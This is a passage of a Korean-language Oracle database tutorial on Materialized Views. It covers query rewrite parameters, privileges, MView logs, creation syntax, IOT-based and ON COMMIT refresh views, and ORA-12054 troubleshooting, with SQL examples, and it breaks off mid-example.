  16. Materialized View를 Refresh 하는 방법
  17. Materialized View와 관련된 시스템 딕셔너리
  18. 진단을 위한 DBMS_MVIEW.EXPLAIN_REWRITE / EXPLAIN_MVIEW 사용법 (9.0.2 이상)
  19. Nested Materialized Views
 
 
 
1. Materialized View
 
◎ Oracle 8i에서의 "MATERIALIZED VIEW" 는 "SNAPSHOT" 와 SYNONYM 으로 생각 하면 가장 좋을 것 같다. 
   이는 대용량의 DATABASE 에서 SUM 과 같은 AGGREGATE FUNCTION 사용 시 값 비싼 COST 를 줄이는 데
   사용하기에 적합한데 이는 REPLICATE 가 가능하여 SNAPSHOT 처럼 사용이 가능함을 의미한다.
 
◎ Materialized View(이하 MVIEW)는 DW 환경이나, replication 환경에 유용한 기능으로, inner-join, 
   outer-join, equi-join 등 각종 view를 수동으로 갱신하거나, 주기적으로 자동 갱신을 할 수 있게 해 준다.
 
◎ 원격 데이터베이스의 테이블이 포함된 MVIEW는 양방향 replication을 지원한다. 또한 MVIEW는 사용자에게는
   투명하게 cost optimization에 기반을 둔 qurey rewrite 기능을 제공한다.
 
◎ Query rewrite란 table과 view들에 대한 연산으로 이루어진 SQL 문장이 해당 table들에 기반해서 정의된
   materialized view에 대한 연산으로 변경되는 것을 말한다. 이러한 변경은 Optimizer에 의해 내부적으로
   수행되기 때문에 일반 사용자나 application은 materialized view의 존재 여부를 인식하지 않아도 된다.
 
◎ Query rewrite는 cost-based optimization 모드에서만 가능하다. 따라서 Materialized View를 만들기 위해선
   해당 Table이 반드시 Analyze 되어 있어야 한다.
 
◎ Query rewrite 기능을 제공하기 위해 Oracle 에서는 Dimension이라는 객체를 추가 했는데,
   Dimension 객체는 대용량 데이터에 대한 질의를 집계성 데이터에 대한 질의로 자동 변환 해 주는 기능을 제공해 준다.
 
◎ MVIEW는 질의 실행을 할 때마다 매번 대량의 join이나, Aggregation 연산(예: SUM, COUNT 등)을 수행하지 않고,
   미리 계산된 값을 질의하기 때문에 성능 향상을 가져올 수 있으며, optimizer는 MVIEW가 어느때 사용되는 것이
   적절할지를 판단할 수 있게 설계되었다.
 
◎ Query rewrite는 사용자에는 투명하다. 만약 환경이 적절히 셋업 되어 있다면, 대량 대이터에 대한
   복잡한 질의 응답 속도를 획기적으로 개선할 수 있게 한다.
 
 
 
2. Materialized View 관련 Initialization 파라미터
 
◎ MVIEW와 관련된 파라미터 목록은 다음과 같다.
   - optimizer_mode
   - query_rewrite_enabled
   - query_rewrite_integrity
   - compatible
 
◎ 다음은 파라미터에 대한 설명이다.
  1) optimizer_mode
     - Query Rewrite 기능을 사용하기 위해서는 init.ora 파일의 optimizer mode값은 "ALL_ROWS"나
       "FIRST_ROWS"로 지정하거나, "CHOOSE"인 상태에서 모든 테이블을 ANALYZE 시켜 두어야 한다.
    
  2) query_rewrite_enabled
     - 파라미터 query_rewrite_enabled 의 값은 "TRUE"로 지정한다.
    
  3) query_rewrite_integrity
     - 파라미터 query_rewrite_integrity 는 선택적으로 지정할 수 있는 파라미터이지만,
       "STALE_TOLERATED", "TRUSTED", 또는 "ENFORCED" 으로 지정되어야 한다.
 
     - 이 파라미터는 query rewrite의 정확성을 제어 하는 파라미터이다.

     - 각각의 의미는 다음과 같다
       ☞ TRUSTED : optimizer에서 MVIEW의 데이터가 정확하다고 간주하고 질의 수행. Integrity 확인을 하지않음.
       ☞ ENFORCED: query_rewrite_integrity 의 기본값으로, 사용자가 integrity constraint를 확인하여야 한다.
                    MVIEW는 fresh한 데이터를 포함하여야 한다.
       ☞ STALE_TOLERATED : Optimizer에서 데이터가 stale 상태이거나 fresh 상태인 경우 모두 MVIEW 사용
 
 
 
3. Materialized View 사용에 필요한 권한
                        
◎ MVIEW를 사용하기 위한 권한은 base 테이블에 대한 사용자의 권한에 달려있다.
   두개의 중요한 시스템 권한은 다음과 같다.
   - grant rewrite
   - grant global rewrite
  
◎ 다음은 두개의 중요한 시스템 권한에 대한 설명이다.
  1) grant rewrite
     - MVIEW의 base table이 모두 사용자 자신의 테이블일 경우, 자신이 선언한 MVIWE 사용 가능.
   
  2) grant global rewrite
     - 사용자가 어느 schema에 속한 MVIEW라도 사용 가능.
   
◎ MVIEW 사용에 필요한 권한이 충족된 경우 다음 조건을 만족하여야 한다.
   a.  세션에 query rewrite 기능이 enable 되어 있음.
   b.  MVIWE 자체가 enable 되어 있음.
   c.  integrity level이 적절히 셋업 되어 있음.
   d.  MVIEW에 데이터가 존재함.
 
 
4. Query Rewrite에서 Materialized View 사용 여부 판단 알고리즘
 
1) Full SQL Text Match
   - 질의의 select 문장과 MVIEW를 만들때 사용한 select 문장 비교
 
2) Partial SQL Text Match
   - Full SQL Text Match가 실패할 경우 select 문장의 from 절 이하의
     내용이 MVIEW를 만들때 사용한 내용과 일치하는지 비교
 
3) Generla Query Rewrite Method
   - 1, 2 항에서 실패할 경우, optimizer에서 MVIEW 사용 가능 여부를 판단. 
   - 필요한 데이터가 MVIWE에서 제공하는 것 보다 적거나, 많거나, 변환 가능
     한지를 판단하고, MVIWE 데이터가 충분한지 여부를 joing compatibility,
     grouping compatibility, aggregate compatibility 등을 확인하여 판단
 
 
 
5. Materialized View와 Integrity Constraints
 
◎ MVW는 DW 환경에서 유용한데, 대부분의 DW는 integrity constraint를 사용하지 않는다.
   즉 DW는 원천 데이터에서 integrity가 보장되었다고 간주한다.
 
◎ 다른 한편으로 integrity constraint는 query rewrite에 유용하다.
   이 모순되는 사항은 NOVALIDATE 와 RELY 옵션을 이용해 조율을 맞추어야 한다.
 
◎ query rewrite와 integrity constraint의 연관 관계
  1) query_rewrite_enabled = enforced
    - 데이터베이스의 constarint는 validate 상태로 두어야 한다.
 
  2) query_rewrite_enabled = stale_tolerated | trusted
    - 데이터베이스의 constraint를 nonvalidate, rely로 지정 해 준다.
 
 
 
6. Query Rewrite와 Hint 사용
 
◎ Index 관련 Hint를 사용하는 것 처럼, query rewite 관련 Hint를  사용하여 제어할 수 있다.
   - NOREWRITE :  Select /*+ NOREWRITE */...
   - REWRITE   :  Select /*+ REWRITE(MView_Name) */...
 
 
 
7. Three Types of Materialized Views
 
1) Materialized Aggregate View (MA-View)  
  - One Table
  - Aggregation (Sum, Avg...)
  - Example: 
    create materialized view MA
    build immediate
    enable query rewrite
    refresh on demand
    as
    select g_no, sum(amount), count(amount), count(*)
    from fact  -- One Table
    group by g_no;
 
   
  
2) Materialized Join View (MJ-View)
  - Many Tables 
  - inner/outer join (join index)
  - no aggregates 
  - Rowids from base tables in MV for incremental refresh
  - Example: 
    create materialized view MAJ
    build immediate
    enable query rewrite
    refresh on demand
    as
    select f.g_no, f.amount, t.t_day, f.rowid f_rid
    from fact f, time t
    where f.t_no = t.t_no;
 
   
  
3) Materialized Aggregate Join View (MAJ-View)  
  - Many Tables 
  - inner/outer join (join index)
  - Aggregation (Sum, Avg...)
  - Example: 
   
create materialized view MAJ
    build immediate
    enable query rewrite
    refresh on demand
    as
    select g_no, sum(amount), count(amount), count(*), t_day
    from fact, time
    where f.t_no = t.t_no
    group by g_no, t_day;
 
 
 
8. Materialized View Log 의 구조 (WITH ROWID, PRIMARY KEY 사용)
 
◎ 우리가 Materialized View Log를 생성하면 Schema에는 mlog$_<master_table_name> 구조의
   Log Table이 생성이 된다.
 
  - Oracle은 이 Log에 변화되는 사항을 반영하게 된다. 그리고 Fast Refresh가 되면 이 Log의
    데이터를 Materialized View에 반영하게 된다.
 
  - 다음의 문장으로 확인을 할 수 있다.
 
    select log_owner, master, log_table, rowids, primary_key
    from dba_mview_logs;
 
    LOG_OWNER       MASTER     LOG_TABLE   ROWIDS    PRIMARY_KEY
    --------------- ---------- ----------- --------- -----------
    SCOTT           DEPT       MLOG$_DEPT  NO        YES
 
 
◎ Log를 생성하기 위한 문법 구조
 
   CREATE  MATERIALIZED  VIEW  LOG  ON  <Master_Table_Name>
   TABLESPACE  <Tablespace_name>
   PCTFREE <Percent_Of_Free_Space>
   WITH [ ROWID | PRIMARY KEY ] , [ SEQUENCE ]
   INCLUDING NEW VALUES ;
 
  - WITH 절의 사용 예
    1) WITH ROWID
     SQL> create materialized view log on fnd_user with rowid including new values;
 
    2) WITH ROWID(Col1, ... , ColN)
     SQL> create materialized view log on fnd_user with rowid(user_id, user_name)  
        2  including new values;
 
    3) WITH ROWID, SEQUENCE(Col1, ... , ColN)
     SQL> create materialized view log on fnd_user with rowid, sequence(user_id, user_name)
        2   including new values;
 
    4) WITH ROWID, PRIMARY KEY
     SQL> create materialized view log on wf_in with rowid, primary key  including new values;
 
    5) WITH PRIMARY KEY
     SQL> create materialized view log on wf_in with primary key  including new values;
 
    6) WITH PRIMARY KEY, SEQUENCE(Col1, ... , ColN)
     SQL> create materialized view log on wf_in with primary key, sequence(corrid)
        2  including new values;
 
※ 주의: WITH ROWID(Col1, ... , ColN), SEQUENCE(Col1, ... , ColN) 의 문장은 가능하지 않다.
 
※ 주의:WITH ROWID(Col1, ... , ColN) 보다는 WITH ROWID, SEQUENCE(Col1, ... , ColN) 의 문장써라.
- WITH ROWID(Col1, ... , ColN) 와 WITH ROWID, SEQUENCE(Col1, ... , ColN)의 차이
  ☞ WITH ROWID(Col1, ... , ColN)는 순서가 부여되지 않는다.
  ☞ WITH ROWID, SEQUENCE(Col1, ... , ColN)는 SEQUENCE에 의해 컬럼의 순서가 부여 된다.
     이는 나중에 Fast Refresh를 하기 위해 필요할 때가 있다.. 따라서 두번째 방법을 사용하라.  
  
 
◎ Log를 생성시 Table의 구조..
 
  1) ROWID를 가지고 Log를 생성할 때
 
   SQL> create materialized view log on fnd_user with rowid including new values;
   SQL> desc mlog$_fnd_user
    Name                            Null?    Type
    ------------------------------- -------- ----
    M_ROW$$                                  VARCHAR2(255)
    SNAPTIME$$                               DATE
    DMLTYPE$$                                VARCHAR2(1)
    OLD_NEW$$                                VARCHAR2(1)
    CHANGE_VECTOR$$                          RAW(255)
   SQL> drop materialized view log on fnd_user;
 
 
  2) Primary Key 를 가지고 Log를 생성할 때
   SQL> create materialized view log on wf_in with primary key including new values ;
   SQL> desc mlog$_wf_in
    Name                            Null?    Type
    ------------------------------- -------- ----
    MSGID                                    RAW(16)
    SNAPTIME$$                               DATE
    DMLTYPE$$                                VARCHAR2(1)
    OLD_NEW$$                                VARCHAR2(1)
    CHANGE_VECTOR$$                          RAW(255)
   SQL> drop materialized view log on wf_in; 
 
  3) ROWID와 NON-Primary Key 를 가지고 Log를 생성할 때
   SQL> create materialized view log on fnd_user with rowid, sequence(user_id, user_name)
      2 including new values ;
   SQL> desc mlog$_fnd_user
    Name                            Null?    Type
    ------------------------------- -------- ----
    USER_ID                                  NUMBER(15)
    USER_NAME                                VARCHAR2(100)
    M_ROW$$                                  VARCHAR2(255)
    SNAPTIME$$                               DATE
    DMLTYPE$$                                VARCHAR2(1)
    OLD_NEW$$                                VARCHAR2(1)
    CHANGE_VECTOR$$                          RAW(255)
   SQL> drop materialized view log on fnd_user; 
 
   
  4) ROWID와 Primary Key 를 가지고 Log를 생성할 때
   SQL> create materialized view log on wf_in with rowid, Primary Key including new values ;
   SQL> desc mlog$_wf_in
    Name                            Null?    Type
    ------------------------------- -------- ----
    MSGID                                    RAW(16)
    M_ROW$$                                  VARCHAR2(255)

    SNAPTIME$$                               DATE
    DMLTYPE$$                                VARCHAR2(1)
    OLD_NEW$$                                VARCHAR2(1)
    CHANGE_VECTOR$$                          RAW(255)
   SQL> drop materialized view log on wf_in;
 
 
 
9. Materialized View의 문법
 
◎ 문법 :
 
   CREATE  MATERIALIZED  VIEW  <View_Name>
   TABLESPACE  <Tablespace_name>
   BUILD [ IMMEDIATE | DEFERRED ]
   REFRESH [ FAST | COMPLETE | FORCE ] ON [ DEMAND | COMMIT ]
   START WITH <First_Refresh_Time>  NEXT <Refresh_Time>
   WITH [ ROWID | PRIMARY KEY ]
   [ ENABLE | DISABLE ] QUERY REWRITE
   AS
   <Select_Statements>
 
 
◎ BUILD 절  (처음 MView를 어떻게 생성할 것인가에 대한 문장)
 
  - IMMEDIATE : Default 값이다. 만드는 즉시 MV에 값이 생성이 된다.
 
  - DEFERRED  : 이 옵션을 이용해서 MView를 만들면 초기에는 값이 생성되어 있지 않는다.
                그리고, DBMS_MVIEW.REFRESH()를 이용해서 Refresh 될 때 비로서 값이 생성된다.
                단, 처음에는 반드시 Full Refresh를 수행해야지만 전체 값이 생성이 된다. 
 
 
REFRESH(Refresh를 어떻게 할 것인가에 대한 문장)
 
  - FAST     : MV의 Master Table에 DML이 발생할 경우, 변경된 DML만 MV에 반영한다.
               이는 MV가 FAST일 때 System이 자동으로 "Direct Loader Log"라는 것을 생성하고,
               여기에 변화된 direct-path DML을 보관하고 있기 때문이다.  
 
  - COMPLETE : MV와 Master Table을 비교하면서 COMPLETE Refresh를 수행한다.
               그리고 비록 MV가 FAST일지라도, COMPLETE Refresh를 수행하면 COMPLETE로 수행된다.
 
  - FORCE    : Default 값이다.
               ????
  
 
◎ ON(언제 Refresh를 할 것인지에 대한 문장)
 
  - DEMAND : Default 값이다.
             Refresh는 DBMS_MVIEW.REFRESH()를 이용해서 Refresh 될 때 변경된 DML이 반영된다.
 
  - COMMIT : DML이 발생한 후 Commit을 만나면 그 결과를 바로 MView에 반영한다.
          *** 자세한 사항은 아래의 "13. Materialized View의 On Commit Refresh 기능"을 참조
 
 
START WITH 절 : 처음 언제 Refresh를 할 것인지를 명시한다.
 
   NEXT 절  :  Refresh 주기를 몇시간으로 줄 것인지 명시한다.
 
 
WITH (Logging 정보를 명시하는 문장)
 
  - ROWID : Master Table의 Primary Key가 없을 경우 ROWID를 이용해서 생성할 수 있다.
            실제로 ROWID가 훨씬더 빠른 속도를 보장한다.
 
  - PRIMARY KEY : Default 값이다. Master Table의 Primary Key를 이용해서 MView를 생성한다.
 
  - WITH ROWID, PRIMARY KEY 이렇게 동시에 사용할 수도 있다.
 
 
 
10. Materialized View 의 Index
 
◎ Materialized View 는 Table에서 사용하는 Index를 다 사용할 수 있다.
 
   - Oracle 9i 이상의 Materialized View에서는 Function Based Index 뿐만 아니라,
 
   - Oracle 8i 이상에서는 Index Organize Table도 가능하다.
     자세한 것은 "12. Materialized View에서 Index Organize Table을 이용하기" 참조.
 
 
◎ 예제..
 
   SQL> desc FND_USER_MV
    Name                            Null?    Type
    ------------------------------- -------- ----
    USER_ID                         NOT NULL NUMBER(15)
    USER_NAME                       NOT NULL VARCHAR2(100)
    COUNT(*)                                 NUMBER
    
    SQL> create index FND_USER_MV_N1 on FND_USER_MV(USER_ID);
   
    Index created.
 
 
11. Materialized View를 만드는 방법 (사용예제)
 
◎ Materialized View를 만들때 고려사항
   a. 만들려고 하는 Materialized View가 어떤 Type 인지..
   b. Index는 어떻게 생성을 할 것인지.
   c. Refresh 주기를 어떻게 설정할 것인지...
   d. ON COMMIT을 사용할 지, 아니면 ON DEMAND를 사용할 지..
 
◎ 일반적으로 REFRESH FAST ON COMMIT 인 Materialized View는 실제 마스터 테이블의  DML 작업시
   기존 보다 많은 부하가 마스터 테이블에 생성이 됩니다.
 
◎ 다음과 같은 Privileges를 갖어야 한다.
   SQL> grant create any materialized view to disuser;
   SQL> grant drop any materialized view to disuser;
   SQL> grant alter any materialized view to disuser;
   SQL> grant global query rewrite to disuser;
   SQL> grant analyze any  to disuser;
 
◎ Materialized View를 만들기 위한 전제 조건.
  
   1) Materialized View의 대상이 되는 모든 Table은 Analyze 되어 있어야 합니다.
      SQL> analyze table GL.GL_PERIOD_STATUSES compute statistics;
      Table analyzed.
 
   2) 사용되는 모든 MASTER Table의 컬럼에 대해 LOG Table을 생성합니다.
      SQL> create materialized view log on applsys.fnd_user
         2 with rowid, sequence(user_id, user_name) including new values;
  
   3) On Commit Fast Refresh를 원한다면, Master Table이 존재하는 Schema에서 MView를 만들어야 함
  
     - 그렇지 않으면 다음의 에러가 발생
       *) "ORA-12015: cannot create a fast refresh materialized view from a complex query"
       *) "ORA-12054: cannot set the ON COMMIT refresh attribute for the materialized view"
  
     - 따라서 APPS와 같은 Schema에서 여러 User의 Table을 이용해서 Materialized View를 만든다면,
       "REFRESH COMPLETE ON DEMAND" or "REFRESH FORCE ON DEMAND" 로 만들 수 밖에 없다.
  
     - 그렇지 않고, 해당 Schema에 모든 Master Table에 존재하는 경우는 해당 Schema에
       Materialized View를 만들고 이에 대한 Synonym을 주는 것이 가장 좋다.
  
  
◎ Single Table에 대한 Materialized View 만들는 방법:
  
   1) Primary Key가 있는 Single Table에 대한 MV
  
     *) Primary Key가 있는 Single Table 경우는 하나의 Row를 결정할 수 있는
        Unique 한 값이 있기 때문에 어떤 방식으로든 쉽게 만들 수 있다.
  
     i) WITH PRIMARY KEY를 이용해서 Log Table을 만든 경우
  
        SQL> create materialized view log on applsys.wf_in
           2 with primary key, sequence(corrid) including new values;      
  
        SQL> create materialized view applsys.wf_in_mv refresh fast
           2 with primary key as select msgid, corrid from wf_in;  
  
        SQL> drop materialized view applsys.wf_in_mv;
  
        SQL> create materialized view applsys.wf_in_mv build immediate refresh fast on commit
           2 with primary key as select msgid, corrid from wf_in;  
  
        SQL> drop materialized view wf_in_mv;
  
        SQL> create materialized view applsys.wf_in_mv build immediate refresh fast on commit
           2 with  primary key as select  msgid, sum(corrid) from wf_in
           3 where corrid <> '10' group by msgid;
  
  
     ii) WITH ROWID를 이용해서 Log Table을 만든 경우
  
        SQL> create materialized view log on wf_in
           2 with rowid, sequence(msgid, corrid) including new values;      
  
        SQL> create materialized view wf_in_mv refresh fast
           2 with rowid as select msgid, corrid from wf_in;  
  
        SQL> drop materialized view wf_in_mv;
  
        SQL> create materialized view wf_in_mv build immediate refresh fast on commit
           2 with rowid as select msgid, corrid from wf_in;  
  
        SQL> drop materialized view wf_in_mv;
  
        SQL> create materialized view wf_in_mv build immediate refresh fast on commit
           2 with rowid as select  msgid, sum(corrid) from wf_in
           3 where corrid <> '10' group by msgid;
  
  
   2) Primary Key가 없는 Single Table에 대한 MV
  
      *) Primary Key가 없는 Single Table 경우는 하나의 Row를 결정할 수 있는
         Unique 한 값이 없기 때문에 Unique하게 만드는 방법을 써야만 한다.
  
      *) 만약 Unique하게 하는 방법을 적용하지 않고 만든다면 다음의 에러가 난다.
 
         SQL> create materialized view log on fnd_user
            with rowid, sequence(user_id, user_name) including new values;

         SQL> create materialized view fnd_user_mv refresh fast
            2 as select user_id, user_name from fnd_user;
         ERROR at line 1:
         ORA-12014: table 'FND_USER' does not contain a primary key constraint
 
         SQL> create materialized view fnd_user_mv refresh fast with rowid as
            2 select distinct user_id, user_name from fnd_user;
         ERROR at line 2:
         ORA-12015: cannot create a fast refresh materialized view from a complex query
       
         SQL> create materialized view log on fnd_user with rowid including new values;

         SQL> create materialized view fnd_user_mv refresh fast with rowid
            2 as select user_id, user_name, count(*) from fnd_user group by user_id, user_name;
         ERROR at line 2:
         ORA-12033: cannot use filter columns from materialized view log on "APPLSYS"."FND_USER"
  
 
      *) 위의 에러를 해결하기 위해서는 하나의 Row를 Unique하게 만든는 방법을 적용해야 한다.
  
        SQL> create materialized view log on fnd_user
           2 with rowid, sequence(user_id, user_name) including new values;
 
        SQL> create materialized view fnd_user_mv build immediate refresh fast with rowid
           2 as select user_id, user_name, count(*) from fnd_user group by user_id, user_name;
 
        SQL> drop materialized view fnd_user_mv;
 
        SQL> create materialized view fnd_user_mv build immediate refresh fast on commit with rowid
           2 as select user_id, user_name, count(*) from fnd_user group by user_id, user_name;
  

      *) 또한 Aggregation이 있는 경우 반드시 Count(*)를 써서 Unique 성을 보장해야 한다.
  
        SQL> create materialized view log on mv1
           2 with rowid, sequence(key, bonus) including new values;
  
        SQL> create materialized view mv1 build immediate refresh fast on commit
           2 s
           3 elect count(*), substr(key,1,1),
           4       sum(decode(trim(key),'aa',bonus,0)) as s1,
           5       count(decode(trim(key),'aa',bonus,0)) as c1,
           6       sum(decode(trim(key),'ab',bonus,0)) as s2,
           7       count(decode(trim(key),'ab',bonus,0))as c2,
           8       sum(decode(trim(key),'ac',bonus,0)) as s3,
           9       count(decode(trim(key),'ac',bonus,0)) as c3
          10 from mv1
          11 group by substr(key,1,1);
  
◎ Multiple Joined Table에 대한 Materialized View 만들는 방법:
 
  ※ Multiple Joined Table에 대한 Materialized View를 만들기 위해서는
     반드시 해당 Table과 Column에 대한 Log Table을 만들어야 한다.
 
  ※ 그리고 두개의 Table이 Join이 되어서 결과가 나오는 구조이기 때문에,
     각 Row에 대한 Unique 성을 보장하기 위해서 반드시 Count(*)를 사용 해야 합니다.
 
  ※ Materialized View를 만들 경우는 반드시 해당 User에서 만들는게 좋다.
 
  ※ 다음과 같은 SQL에 대해 Materialized View를 만드는 것을 가정하자.
      create materialized view xen_emp_sal_mv
      refresh fast on commit
      as
      select count(*) as cnt
            ,xef.employee_id
            ,xef.name
            ,xef.registration_number
            ,xsf.year
            ,xsf.month
            ,sum(xsf.salary) as salary
            ,count(xsf.salary) as cnt_salary
            ,sum(xsf.bonus) as bonus
            ,count(xsf.bonus) as cnt_bonus
            ,sum(xsf.education) as education
            ,count(xsf.education) as cnt_education
            ,sum(xsf.benefit) as benefit
            ,count(xsf.benefit) as cnt_benefit
        from xen_employee_f xef
            ,xen_salary_f   xsf
       where xef.employee_id = xsf.employee_id
       group by xef.employee_id, xef.name, xef.registration_number, xsf.year, xsf.month;
 
  ※ 이때 전제 사항은 xen_employee_f, xen_salary_f Table은 DISUSER Schema에 존재하고,
     Materialized View 또한 DISUSER Schema에 만들면서, Fast Refresh, On Commit의
     Materialized View를 만듬을 전제로 한다.
 
  ※ 그렇지 않고 APPS Schema에 만들고자 한다면, LOG는 DISUSER Schema에 생성하고,
     APPS Schema에서 Materialized View는 REFRESH COMPLETE ON DEMAND로 만들어야 한다.
 
  ※ 그러면 다음과 같은 방법으로 만들 수 있다.
     SQL> create materialized view log on disuser.xen_employee_f
        2 with rowid, sequence(employee_id, name, registration_number)
        3 including new values;
      
     SQL> create materialized view log on disuser.xen_salary_f
        2 with rowid,
        3 sequence(salary_id, employee_id, year, month, salary, bonus, education, benefit)
        4 including new values;
      
     SQL> create materialized view xen_emp_sal_mv
       2  tablespace euld
       3  pctfree 10
       4  build immediate
       5  refresh fast on commit
       6  enable query rewrite
       7  as
       8  select count(*) as cnt
       9        ,xef.employee_id
      10        ,xef.name
      11        ,xef.registration_number
      12        ,xsf.year
      13        ,xsf.month
      14        ,sum(xsf.salary) as salary
      15        ,count(xsf.salary) as cnt_salary
      16        ,sum(xsf.bonus) as bonus
      17        ,count(xsf.bonus) as cnt_bonus
      18        ,sum(xsf.education) as education
      19        ,count(xsf.education) as cnt_education
      20        ,sum(xsf.benefit) as benefit
      21        ,count(xsf.benefit) as cnt_benefit
      22    from xen_employee_f xef
      23        ,xen_salary_f   xsf
      24   where xef.employee_id = xsf.employee_id
      25   group by xef.employee_id, xef.name, xef.registration_number, xsf.year, xsf.month;
 
 
 
12. Materialized View에서 Index Organize Table을 이용하기 (8.1.6 이상)
 
◎ Oracle 8.1.6 이전 버젼에서 Materialized View의 Index 사용...
  - Oracle 8i 이전에는 CREATE MATERIALIZED VIEW 는 'ORGANIZATION INDEX'를 가질수 없었다.
  - 즉 MV 는 heap-organized table 만 사용가능하였다.
  - 이전 version 에서 IOT 를 이용한 MV 를 생성시는 ora-905를 발생시킨다
 
◎ 하지만 Oracle 8.1.6 부터는 Heap 또는 Index-Organized Table(IOT)을 위한 logging이 가능하다

◎ 사용 예제
 
   ※ 다음과 같은 Mview가 있다고 가정하자
      SQL> -- Create heap-organized table, test.t1
      SQL> create table t1 (col1 number primary key, col2 varchar2(255));
 
      SQL> -- Create Index-Organized Table (IOT), test.t1_iot
      SQL> create table t1_iot (col1 number, col2 varchar2(255),
         2 constraint t1_iot_pk primary key (col1))
         3 organization index tablespace userdata
         4 including col1 overflow tablespace userdata;
 
 
   ※ 두 가지 형태의 Index Organize Table을 만들어 보자.
      SQL> -- Demonstrate IOT MV w/OVERFLOW on heap master, test.t1
      SQL> create materialized view mv_t1 organization index 
        2  as select * from t1;
 
      SQL> -- Demonstrate IOT MV w/OVERFLOW on IOT master, test.t1_iot
      SQL> create materialized view mv_t1_iot
        2  organization index 
        3  including col1 overflow tablespace userdata 
        4  refresh with primary key 
        5  as select * from t1_iot;
 
 
   ※ 데이터 딕셔너리에 대한 분석
      SQL> -- Tables:
      SQL>
-- T1 := heap table (iot_type is null)< /FONT> 
      SQL>
-- T1_IOT := iot (iot_type = 'IOT')
      SQL> -- SYS_IOT_OVER_24894 := overflow segment for T1_IOT (object_id 24894)
 
      SQL> -- Materialized Views:
      SQL>
-- MV_T1 := MV for master T1 (no associated OVERFLOW - see above CREATE)< /FONT> 
      SQL>
-- MV_T1_IOT := MV for master T1_IOT
      SQL> -- SYS_IOT_OVER_24900 := overflow segment for MV_T1_IOT (object_id 24900)
 
      SQL> select table_name, iot_name, iot_type from dba_tables 
        2  where owner = 'TEST' 
        3  and (table_name like '%T1%' or iot_name like '%T1%') 
        4  order by table_name;
 
      TABLE_NAME                     IOT_NAME                 IOT_TYPE
      ------------------------------ ---------------------- ------------
      MV_T1                                                    IOT
      MV_T1_IOT                                                IOT
      SYS_IOT_OVER_24894             T1_IOT                    IOT_OVERFLOW
      SYS_IOT_OVER_24900             MV_T1_IOT                 IOT_OVERFLOW
      T1
      T1_IOT                                                   IOT
 
      6 rows selected.
 
      SQL> -- MV Summary
     
SQL> select table_name, master, can_use_log, refresh_method 
        2  from dba_snapshots 
        3  where master in ('T1_IOT','T1');
 
      TABLE_NAME                     MASTER               CAN REFRESH_MET
      ------------------------------ -------------------- --- -----------
      MV_T1                          T1                    YES PRIMARY KEY
      MV_T1_IOT                      T1_IOT                YES PRIMARY KEY
 
      2 rows selected.
 
 
 
13. Materialized View의 On Commit Refresh 기능 (8.1.6 이상)
 
◎ Oracle 7이나 8 버젼의 snapshot은 지정된 시간에 refresh 작업이 기동되는 반면,
   Oracle 8i 버젼의 새로운 기능인 ON COMMIT refresh는 트랜잭션 COMMIT과 동시에
   원격 MATERIALIZED VIEW(구 SNAPSHOT)에 대하여 refresh 작업이 기동된다.
 
◎ Materialized View Log 작성 예제
  - ON COMMIT refresh 기능을 위해서는 반드시 INCLUDING NEW VALUES 옵션을 사용 하여야 한다.
   SQL> drop materialized view log on emp;
   SQL> create materialized view log on emp
      2 with rowid (empno, ename, job, mgr, hiredate, sal, deptno)
      3 including new values;
   SQL> select * from emp;

◎ ON COMMIT Materialized View 작성 예제
   SQL> drop materialized view mv_emp;
   SQL> create materialized view mv_emp
      2 build immediate
      3 refresh fast on commit
      4 as
      5 select count(*), deptno, sum(sal), count(sal)
      6   from emp
      7  group by deptno;
 
  ※ ON COMMIT refresh 기능을 위해서는 반드시
     ***  BUILD IMMEDIATE(default)
     ***  ON COMMIT 옵션
    
을 사용하여야 한다.
 
   SQL> select * from mv_emp;
          COUNT(*)     DEPTNO   SUM(SAL) COUNT(SAL)
        ---------- ---------- ---------- ----------
                 3         10       8750          3
                 5         20      10875          5

   SQL> select deptno from emp where empno = 7934;
            DEPTNO
        ----------
                10
   SQL> update emp set deptno = 20 where empno = 7934;
   SQL> commit;
   SQL> select * from mv_emp;
          COUNT(*)     DEPTNO   SUM(SAL) COUNT(SAL)
        ---------- ---------- ---------- ----------
                 2         10       7450          2
                 6         20      12175          6
  

◎ ON COMMIT refresh 사용에는 다음과 같은 제약 조건이 있다:
  
   1. Materialized View는 반드시 COUNT, SUM 등과 같은 aggregate 함수를 갖거나,
      죠인으로만 구성되어야 한다.
  
   2. 하나의 테이블을 대상으로 반드시 COUNT(*) 함수가 기술되어야 한다.
  
   3. GROUP BY 절에 의해서 grouping 대상이 되는 컬럼은 반드시 COUNT(<column_name>)가 기술되어야 한다.
  
   4. Database Link 를 이용하는 remote db에서는 실행할 수 없다.
  
   5. FAST REFRESH 기능을 사용할 경우에는 다음과 같은 제약 조건을 고려하여야 한다:
      - FROM 절에는 뷰 지정은 가능하지 않고 베이스 테이블 지정만이 가능하다.
      - SYSDATE와 ROWNUM 지정은 가능하지 않다.
      - RAW 혹은 LONG RAW 데이타 타입에 대한 지정은 가능하지 않다.
      - HAVING이나 CONNECT BY 절을 포함할 수 없다.
      - WHERE 절에 죠인을 지정할 경우에는 AND로 구성된 equi-join 만이 가능하다.
      - 서브 질의, 인라인 뷰(INLINE VIEW), UNION이나 MINUS와 같은 집합 함수는 지원되지 않는다.
   
  
◎ 발생 가능한 오류 코드
 
   - 두 경우 모두 ON COMMIT refresh를 수행할 수 없는 상황으로, 문법의 오류가를 검사하여야 한다.
     o ORA-12051: ON COMMIT attribute is incompatible with other options
     o ORA-12054: cannot set the ON COMMIT refresh attribute for the materialized view
 
 
 
14. Materialized View 생성 시 ORA-12054 ERROR 해결 방법 (8.1.6 이상)
 
◎ Oracle 8i부터 제공되는 기능인 Materialized view를 생성할 때 single table에 대해 ON COMMIT refresh
   옵션을 사용하여 생성 시 발생할 수 있는 ORA-12054 에러의 해결방법에 대하여 알아보기로 한다.

◎ Problem Description
  - 다음과 같이 Materialized view를 생성하려고 시도할 때 ORA-12054 에러가 발생한다.
    현재 테이블 test_v에 다음과 같은 데이타가 저장되어 있다고 가정한다.
 
    SQL> select * from test_v;
    KEY        BONUS        SEQ
    ----- ---------- ----------
    aa        120000          1
    aa        120000          2
    ab        120500          3
    ac        620000          4
    aa        120000          8
    ab        120500          9
    ac        620000         10     
    ....................
 
  - 현재 사용자가 원하는 형태의 출력 format은 다음과 같다.
   .....     SU          S1         S2         S3  ...
   .....     --  ---------- ---------- ----------  ....
   ....       a      720777     241000    1240000  .....     
   ................
 
  - 이와 같은 결과를 얻기 위해 아래와 같이 Materialized view를 생성하였다.
 
   SQL>  create materialized view mv1
      2  build immediate
